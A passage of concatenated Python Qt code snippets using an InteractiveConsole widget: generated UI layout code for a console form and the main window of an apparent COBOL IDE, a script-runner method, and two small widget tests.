class Ui_Form(object): def setupUi(self, Form): Form.setObjectName("Form") Form.resize(400, 300) self.verticalLayout = QtWidgets.QVBoxLayout(Form) self.verticalLayout.setObjectName("verticalLayout") self.console = InteractiveConsole(Form) self.console.setObjectName("console") self.verticalLayout.addWidget(self.console) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.edit_command = PromptLineEdit(Form) self.edit_command.setObjectName("edit_command") self.horizontalLayout.addWidget(self.edit_command) self.bt_run = QtWidgets.QToolButton(Form) self.bt_run.setText("") icon = QtGui.QIcon.fromTheme("system-run") self.bt_run.setIcon(icon) self.bt_run.setObjectName("bt_run") self.horizontalLayout.addWidget(self.bt_run) self.verticalLayout.addLayout(self.horizontalLayout) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): _translate = QtCore.QCoreApplication.translate Form.setWindowTitle(_translate("Form", "Form")) self.console.setToolTip(_translate("Form", "Command output")) self.edit_command.setToolTip(_translate("Form", "Type a command to execute")) self.bt_run.setToolTip(_translate("Form", "Run command (keep pressed to access the terminal history)"))
def run_test(self): with open('test.py', 'w') as _file: _file.write(self.editor.toPlainText()) self.console = InteractiveConsole() self.console.setWindowTitle( self.moderat.MString('MSCIPTING_PYTHON_CONSOLE')) self.console.setWindowIcon(QIcon(':/icons/assets/logo.png')) self.console.setStyleSheet( 'border: 0px; padding: 0px; background: #ecf0f1;') self.console.start_process(sys.executable, ['test.py']) self.console.closeEvent = self.test_closed self.console.show()
def test_splittable_tab_widget(): tw = SplittableTabWidget() tw.show() w = GenericCodeEdit() tw.add_tab(w) tw.add_tab(InteractiveConsole()) tw.split(w, QtCore.Qt.Vertical) w.close() tw.close() del tw
def test_console(): ic = InteractiveConsole() if sys.platform == 'win32': ic.start_process('dir') else: ic.start_process('ls') ic.process.waitForFinished() assert ic.process.exitStatus() == 0
def setupUi(self, Form): Form.setObjectName("Form") Form.resize(400, 300) self.verticalLayout = QtWidgets.QVBoxLayout(Form) self.verticalLayout.setObjectName("verticalLayout") self.console = InteractiveConsole(Form) self.console.setObjectName("console") self.verticalLayout.addWidget(self.console) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.edit_command = PromptLineEdit(Form) self.edit_command.setObjectName("edit_command") self.horizontalLayout.addWidget(self.edit_command) self.bt_run = QtWidgets.QToolButton(Form) self.bt_run.setText("") icon = QtGui.QIcon.fromTheme("system-run") self.bt_run.setIcon(icon) self.bt_run.setObjectName("bt_run") self.horizontalLayout.addWidget(self.bt_run) self.verticalLayout.addLayout(self.horizontalLayout) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form)
def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(900, 700) MainWindow.setMinimumSize(QtCore.QSize(900, 700)) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-192x192.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) MainWindow.setWindowIcon(icon) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self.stackedWidget = QtWidgets.QStackedWidget(self.centralwidget) self.stackedWidget.setObjectName("stackedWidget") self.page = QtWidgets.QWidget() self.page.setObjectName("page") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.page) self.verticalLayout_5.setObjectName("verticalLayout_5") spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_5.addItem(spacerItem) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setContentsMargins(0, -1, 0, -1) self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.verticalLayout_3 = QtWidgets.QVBoxLayout() self.verticalLayout_3.setObjectName("verticalLayout_3") self.label_3 = QtWidgets.QLabel(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_3.sizePolicy().hasHeightForWidth()) self.label_3.setSizePolicy(sizePolicy) self.label_3.setMinimumSize(QtCore.QSize(256, 256)) self.label_3.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.label_3.setWordWrap(True) self.label_3.setObjectName("label_3") self.verticalLayout_3.addWidget(self.label_3) self.horizontalLayout_3.addLayout(self.verticalLayout_3) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.verticalLayout_5.addLayout(self.horizontalLayout_3) self.horizontalLayout_9 = QtWidgets.QHBoxLayout() self.horizontalLayout_9.setContentsMargins(0, 0, 0, -1) self.horizontalLayout_9.setObjectName("horizontalLayout_9") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem3) self.line_2 = QtWidgets.QFrame(self.page) self.line_2.setMinimumSize(QtCore.QSize(400, 0)) self.line_2.setFrameShape(QtWidgets.QFrame.HLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.horizontalLayout_9.addWidget(self.line_2) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem4) self.verticalLayout_5.addLayout(self.horizontalLayout_9) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 15) self.horizontalLayout_8.setObjectName("horizontalLayout_8") spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem5) self.btNewFile = QtWidgets.QPushButton(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btNewFile.sizePolicy().hasHeightForWidth()) self.btNewFile.setSizePolicy(sizePolicy) self.btNewFile.setMinimumSize(QtCore.QSize(200, 0)) icon = QtGui.QIcon.fromTheme("document-new") self.btNewFile.setIcon(icon) self.btNewFile.setObjectName("btNewFile") self.horizontalLayout_8.addWidget(self.btNewFile) self.btOpenFile = QtWidgets.QPushButton(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btOpenFile.sizePolicy().hasHeightForWidth()) self.btOpenFile.setSizePolicy(sizePolicy) self.btOpenFile.setMinimumSize(QtCore.QSize(200, 0)) self.btOpenFile.setStyleSheet("") icon = QtGui.QIcon.fromTheme("document-open") self.btOpenFile.setIcon(icon) self.btOpenFile.setObjectName("btOpenFile") self.horizontalLayout_8.addWidget(self.btOpenFile) spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem6) self.verticalLayout_5.addLayout(self.horizontalLayout_8) self.horizontalLayout_5 = QtWidgets.QHBoxLayout() self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1) self.horizontalLayout_5.setObjectName("horizontalLayout_5") spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem7) self.frameRecents = QtWidgets.QFrame(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frameRecents.sizePolicy().hasHeightForWidth()) self.frameRecents.setSizePolicy(sizePolicy) self.frameRecents.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frameRecents.setFrameShadow(QtWidgets.QFrame.Raised) self.frameRecents.setObjectName("frameRecents") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frameRecents) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.verticalLayout_4.setObjectName("verticalLayout_4") self.labelRecents = QtWidgets.QLabel(self.frameRecents) self.labelRecents.setObjectName("labelRecents") self.verticalLayout_4.addWidget(self.labelRecents) self.listWidgetRecents = RecentFilesListWidget(self.frameRecents) self.listWidgetRecents.setMinimumSize(QtCore.QSize(400, 0)) self.listWidgetRecents.setObjectName("listWidgetRecents") self.verticalLayout_4.addWidget(self.listWidgetRecents) self.horizontalLayout_5.addWidget(self.frameRecents) spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem8) self.verticalLayout_5.addLayout(self.horizontalLayout_5) spacerItem9 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_5.addItem(spacerItem9) self.stackedWidget.addWidget(self.page) self.page_2 = QtWidgets.QWidget() self.page_2.setObjectName("page_2") self.gridLayout_2 = QtWidgets.QGridLayout(self.page_2) self.gridLayout_2.setContentsMargins(6, 6, 6, 6) self.gridLayout_2.setSpacing(6) self.gridLayout_2.setObjectName("gridLayout_2") self.tabWidgetEditors = TabWidget(self.page_2) self.tabWidgetEditors.setObjectName("tabWidgetEditors") self.gridLayout_2.addWidget(self.tabWidgetEditors, 0, 0, 1, 1) self.stackedWidget.addWidget(self.page_2) self.gridLayout.addWidget(self.stackedWidget, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.toolBarFile = QtWidgets.QToolBar(MainWindow) self.toolBarFile.setObjectName("toolBarFile") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarFile) self.toolBarCode = QtWidgets.QToolBar(MainWindow) self.toolBarCode.setObjectName("toolBarCode") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarCode) self.dockWidgetLogs = QtWidgets.QDockWidget(MainWindow) self.dockWidgetLogs.setObjectName("dockWidgetLogs") self.dockWidgetContents = QtWidgets.QWidget() self.dockWidgetContents.setObjectName("dockWidgetContents") self.gridLayout_3 = QtWidgets.QGridLayout(self.dockWidgetContents) self.gridLayout_3.setObjectName("gridLayout_3") self.tabWidgetLogs = QtWidgets.QTabWidget(self.dockWidgetContents) self.tabWidgetLogs.setObjectName("tabWidgetLogs") self.tabCompiler = QtWidgets.QWidget() self.tabCompiler.setObjectName("tabCompiler") self.gridLayout_4 = QtWidgets.QGridLayout(self.tabCompiler) self.gridLayout_4.setContentsMargins(6, 6, 6, 6) self.gridLayout_4.setObjectName("gridLayout_4") self.errorsTable = ErrorsTable(self.tabCompiler) self.errorsTable.setMinimumSize(QtCore.QSize(0, 0)) self.errorsTable.setObjectName("errorsTable") self.gridLayout_4.addWidget(self.errorsTable, 0, 0, 1, 1) icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap(":/ide-icons/rc/emblem-important.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabCompiler, icon1, "") self.tabProgramOutput = QtWidgets.QWidget() self.tabProgramOutput.setObjectName("tabProgramOutput") self.gridLayout_5 = QtWidgets.QGridLayout(self.tabProgramOutput) self.gridLayout_5.setContentsMargins(6, 6, 6, 6) self.gridLayout_5.setSpacing(6) self.gridLayout_5.setObjectName("gridLayout_5") self.consoleOutput = InteractiveConsole(self.tabProgramOutput) self.consoleOutput.setObjectName("consoleOutput") self.gridLayout_5.addWidget(self.consoleOutput, 0, 0, 1, 1) icon2 = QtGui.QIcon() icon2.addPixmap(QtGui.QPixmap(":/ide-icons/rc/media-playback-start.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabProgramOutput, icon2, "") self.tabAppLog = QtWidgets.QWidget() self.tabAppLog.setObjectName("tabAppLog") self.verticalLayout = QtWidgets.QVBoxLayout(self.tabAppLog) self.verticalLayout.setObjectName("verticalLayout") self.textEditLogs = QtWidgets.QTextEdit(self.tabAppLog) self.textEditLogs.setReadOnly(True) self.textEditLogs.setObjectName("textEditLogs") self.verticalLayout.addWidget(self.textEditLogs) icon3 = QtGui.QIcon() icon3.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-32x32.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabAppLog, icon3, "") self.gridLayout_3.addWidget(self.tabWidgetLogs, 1, 0, 1, 1) self.dockWidgetLogs.setWidget(self.dockWidgetContents) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(8), self.dockWidgetLogs) self.menuBar = QtWidgets.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 900, 23)) self.menuBar.setObjectName("menuBar") self.menuFile = QtWidgets.QMenu(self.menuBar) self.menuFile.setObjectName("menuFile") self.menuEdit = QtWidgets.QMenu(self.menuBar) self.menuEdit.setObjectName("menuEdit") self.mnuActiveEditor = QtWidgets.QMenu(self.menuEdit) self.mnuActiveEditor.setObjectName("mnuActiveEditor") self.menuView = QtWidgets.QMenu(self.menuBar) self.menuView.setObjectName("menuView") self.menuToolbars = QtWidgets.QMenu(self.menuView) self.menuToolbars.setObjectName("menuToolbars") self.menuDock_panels = QtWidgets.QMenu(self.menuView) self.menuDock_panels.setObjectName("menuDock_panels") self.menuApplication_log = QtWidgets.QMenu(self.menuView) self.menuApplication_log.setObjectName("menuApplication_log") self.menuCobol = QtWidgets.QMenu(self.menuBar) self.menuCobol.setObjectName("menuCobol") self.menuProgramType = QtWidgets.QMenu(self.menuCobol) self.menuProgramType.setObjectName("menuProgramType") self.menu = QtWidgets.QMenu(self.menuBar) self.menu.setObjectName("menu") MainWindow.setMenuBar(self.menuBar) self.dockWidgetNavPanel = QtWidgets.QDockWidget(MainWindow) self.dockWidgetNavPanel.setMinimumSize(QtCore.QSize(300, 121)) self.dockWidgetNavPanel.setObjectName("dockWidgetNavPanel") self.dockWidgetContents_2 = QtWidgets.QWidget() self.dockWidgetContents_2.setObjectName("dockWidgetContents_2") self.gridLayout_7 = QtWidgets.QGridLayout(self.dockWidgetContents_2) self.gridLayout_7.setContentsMargins(6, 6, 6, 6) self.gridLayout_7.setObjectName("gridLayout_7") self.twNavigation = QtWidgets.QTreeWidget(self.dockWidgetContents_2) self.twNavigation.setObjectName("twNavigation") self.twNavigation.headerItem().setText(0, "1") self.twNavigation.header().setVisible(False) self.gridLayout_7.addWidget(self.twNavigation, 0, 0, 1, 1) self.dockWidgetNavPanel.setWidget(self.dockWidgetContents_2) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetNavPanel) self.dockWidgetOffsets = QtWidgets.QDockWidget(MainWindow) self.dockWidgetOffsets.setMinimumSize(QtCore.QSize(318, 127)) self.dockWidgetOffsets.setObjectName("dockWidgetOffsets") self.dockWidgetContents_3 = QtWidgets.QWidget() self.dockWidgetContents_3.setObjectName("dockWidgetContents_3") self.gridLayout_8 = QtWidgets.QGridLayout(self.dockWidgetContents_3) self.gridLayout_8.setObjectName("gridLayout_8") self.tableWidgetOffsets = QtWidgets.QTableWidget(self.dockWidgetContents_3) self.tableWidgetOffsets.setMinimumSize(QtCore.QSize(300, 0)) self.tableWidgetOffsets.setDragDropOverwriteMode(False) self.tableWidgetOffsets.setShowGrid(True) self.tableWidgetOffsets.setObjectName("tableWidgetOffsets") item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(3, item) self.tableWidgetOffsets.horizontalHeader().setDefaultSectionSize(50) self.tableWidgetOffsets.horizontalHeader().setSortIndicatorShown(True) self.tableWidgetOffsets.horizontalHeader().setStretchLastSection(True) self.tableWidgetOffsets.verticalHeader().setVisible(False) self.gridLayout_8.addWidget(self.tableWidgetOffsets, 0, 0, 1, 1) self.dockWidgetOffsets.setWidget(self.dockWidgetContents_3) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetOffsets) self.actionQuit = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("window-close") self.actionQuit.setIcon(icon) self.actionQuit.setIconVisibleInMenu(True) self.actionQuit.setObjectName("actionQuit") self.actionCompile = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("exec") self.actionCompile.setIcon(icon) self.actionCompile.setIconVisibleInMenu(True) self.actionCompile.setObjectName("actionCompile") self.actionRun = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("media-playback-start") self.actionRun.setIcon(icon) self.actionRun.setIconVisibleInMenu(True) self.actionRun.setObjectName("actionRun") self.actionAbout = QtWidgets.QAction(MainWindow) icon4 = QtGui.QIcon() icon4.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-64x64.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.actionAbout.setIcon(icon4) self.actionAbout.setIconVisibleInMenu(True) self.actionAbout.setObjectName("actionAbout") self.actionSave = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-save") self.actionSave.setIcon(icon) self.actionSave.setIconVisibleInMenu(True) self.actionSave.setObjectName("actionSave") self.actionSaveAs = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-save-as") self.actionSaveAs.setIcon(icon) self.actionSaveAs.setIconVisibleInMenu(True) self.actionSaveAs.setObjectName("actionSaveAs") self.actionFullscreen = QtWidgets.QAction(MainWindow) self.actionFullscreen.setCheckable(True) icon = QtGui.QIcon.fromTheme("view-fullscreen") self.actionFullscreen.setIcon(icon) self.actionFullscreen.setIconVisibleInMenu(True) self.actionFullscreen.setObjectName("actionFullscreen") self.actionNew = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-new") self.actionNew.setIcon(icon) self.actionNew.setIconVisibleInMenu(True) self.actionNew.setObjectName("actionNew") self.actionOpen = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-open") self.actionOpen.setIcon(icon) self.actionOpen.setIconVisibleInMenu(True) self.actionOpen.setObjectName("actionOpen") self.actionClear = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("edit-clear") self.actionClear.setIcon(icon) self.actionClear.setIconVisibleInMenu(True) self.actionClear.setObjectName("actionClear") self.aShowFilesToolbar = QtWidgets.QAction(MainWindow) self.aShowFilesToolbar.setCheckable(True) self.aShowFilesToolbar.setObjectName("aShowFilesToolbar") self.aShowCodeToolbar = QtWidgets.QAction(MainWindow) self.aShowCodeToolbar.setCheckable(True) self.aShowCodeToolbar.setObjectName("aShowCodeToolbar") self.aShowLogsWin = QtWidgets.QAction(MainWindow) self.aShowLogsWin.setCheckable(True) self.aShowLogsWin.setObjectName("aShowLogsWin") self.aShowNavWin = QtWidgets.QAction(MainWindow) self.aShowNavWin.setCheckable(True) self.aShowNavWin.setObjectName("aShowNavWin") self.actionPreferences = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("preferences-system") self.actionPreferences.setIcon(icon) self.actionPreferences.setIconVisibleInMenu(True) self.actionPreferences.setObjectName("actionPreferences") self.actionHelp = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("help") self.actionHelp.setIcon(icon) self.actionHelp.setIconVisibleInMenu(True) self.actionHelp.setObjectName("actionHelp") self.actionProgram = QtWidgets.QAction(MainWindow) self.actionProgram.setCheckable(True) self.actionProgram.setChecked(True) self.actionProgram.setObjectName("actionProgram") self.actionSubprogram = QtWidgets.QAction(MainWindow) self.actionSubprogram.setCheckable(True) self.actionSubprogram.setObjectName("actionSubprogram") self.actionDebug = QtWidgets.QAction(MainWindow) self.actionDebug.setObjectName("actionDebug") self.actionInfos = QtWidgets.QAction(MainWindow) self.actionInfos.setObjectName("actionInfos") self.actionWarnings = QtWidgets.QAction(MainWindow) self.actionWarnings.setObjectName("actionWarnings") self.actionErrors = QtWidgets.QAction(MainWindow) self.actionErrors.setObjectName("actionErrors") self.actionDebug_level = QtWidgets.QAction(MainWindow) self.actionDebug_level.setCheckable(True) self.actionDebug_level.setObjectName("actionDebug_level") self.actionShowAppLog = QtWidgets.QAction(MainWindow) self.actionShowAppLog.setCheckable(True) self.actionShowAppLog.setObjectName("actionShowAppLog") self.actionClearLog = QtWidgets.QAction(MainWindow) icon5 = QtGui.QIcon() icon5.addPixmap(QtGui.QPixmap(":/ide-icons/rc/edit-clear.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.actionClearLog.setIcon(icon5) self.actionClearLog.setIconVisibleInMenu(True) self.actionClearLog.setObjectName("actionClearLog") self.toolBarFile.addAction(self.actionNew) self.toolBarFile.addAction(self.actionOpen) self.toolBarFile.addSeparator() self.toolBarFile.addAction(self.actionSave) self.toolBarFile.addAction(self.actionSaveAs) self.toolBarCode.addAction(self.actionCompile) self.toolBarCode.addAction(self.actionRun) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionOpen) self.menuFile.addSeparator() self.menuFile.addAction(self.actionSave) self.menuFile.addAction(self.actionSaveAs) self.menuFile.addSeparator() self.menuFile.addAction(self.actionQuit) self.mnuActiveEditor.addSeparator() self.menuEdit.addAction(self.mnuActiveEditor.menuAction()) self.menuEdit.addSeparator() self.menuEdit.addAction(self.actionPreferences) self.menuToolbars.addAction(self.aShowFilesToolbar) self.menuToolbars.addAction(self.aShowCodeToolbar) self.menuDock_panels.addAction(self.aShowLogsWin) self.menuDock_panels.addAction(self.aShowNavWin) self.menuApplication_log.addAction(self.actionShowAppLog) self.menuApplication_log.addAction(self.actionDebug_level) self.menuApplication_log.addSeparator() self.menuApplication_log.addAction(self.actionClearLog) self.menuView.addAction(self.menuToolbars.menuAction()) self.menuView.addAction(self.menuDock_panels.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.menuApplication_log.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.actionFullscreen) self.menuProgramType.addAction(self.actionProgram) self.menuProgramType.addAction(self.actionSubprogram) self.menuCobol.addAction(self.menuProgramType.menuAction()) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCompile) self.menuCobol.addAction(self.actionRun) self.menu.addAction(self.actionHelp) self.menu.addAction(self.actionAbout) self.menuBar.addAction(self.menuFile.menuAction()) self.menuBar.addAction(self.menuEdit.menuAction()) self.menuBar.addAction(self.menuView.menuAction()) self.menuBar.addAction(self.menuCobol.menuAction()) self.menuBar.addAction(self.menu.menuAction()) self.retranslateUi(MainWindow) self.stackedWidget.setCurrentIndex(0) self.tabWidgetLogs.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow)
class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(900, 700) MainWindow.setMinimumSize(QtCore.QSize(900, 700)) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-192x192.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) MainWindow.setWindowIcon(icon) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self.stackedWidget = QtWidgets.QStackedWidget(self.centralwidget) self.stackedWidget.setObjectName("stackedWidget") self.page = QtWidgets.QWidget() self.page.setObjectName("page") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.page) self.verticalLayout_5.setObjectName("verticalLayout_5") spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_5.addItem(spacerItem) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setContentsMargins(0, -1, 0, -1) self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.verticalLayout_3 = QtWidgets.QVBoxLayout() self.verticalLayout_3.setObjectName("verticalLayout_3") self.label_3 = QtWidgets.QLabel(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_3.sizePolicy().hasHeightForWidth()) self.label_3.setSizePolicy(sizePolicy) self.label_3.setMinimumSize(QtCore.QSize(256, 256)) self.label_3.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.label_3.setWordWrap(True) self.label_3.setObjectName("label_3") self.verticalLayout_3.addWidget(self.label_3) self.horizontalLayout_3.addLayout(self.verticalLayout_3) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.verticalLayout_5.addLayout(self.horizontalLayout_3) self.horizontalLayout_9 = QtWidgets.QHBoxLayout() self.horizontalLayout_9.setContentsMargins(0, 0, 0, -1) self.horizontalLayout_9.setObjectName("horizontalLayout_9") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem3) self.line_2 = QtWidgets.QFrame(self.page) self.line_2.setMinimumSize(QtCore.QSize(400, 0)) self.line_2.setFrameShape(QtWidgets.QFrame.HLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.horizontalLayout_9.addWidget(self.line_2) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem4) self.verticalLayout_5.addLayout(self.horizontalLayout_9) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 15) self.horizontalLayout_8.setObjectName("horizontalLayout_8") spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem5) self.btNewFile = QtWidgets.QPushButton(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btNewFile.sizePolicy().hasHeightForWidth()) self.btNewFile.setSizePolicy(sizePolicy) self.btNewFile.setMinimumSize(QtCore.QSize(200, 0)) icon = QtGui.QIcon.fromTheme("document-new") self.btNewFile.setIcon(icon) self.btNewFile.setObjectName("btNewFile") self.horizontalLayout_8.addWidget(self.btNewFile) self.btOpenFile = QtWidgets.QPushButton(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btOpenFile.sizePolicy().hasHeightForWidth()) self.btOpenFile.setSizePolicy(sizePolicy) self.btOpenFile.setMinimumSize(QtCore.QSize(200, 0)) self.btOpenFile.setStyleSheet("") icon = QtGui.QIcon.fromTheme("document-open") self.btOpenFile.setIcon(icon) self.btOpenFile.setObjectName("btOpenFile") self.horizontalLayout_8.addWidget(self.btOpenFile) spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem6) self.verticalLayout_5.addLayout(self.horizontalLayout_8) self.horizontalLayout_5 = QtWidgets.QHBoxLayout() self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1) self.horizontalLayout_5.setObjectName("horizontalLayout_5") spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem7) self.frameRecents = QtWidgets.QFrame(self.page) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) 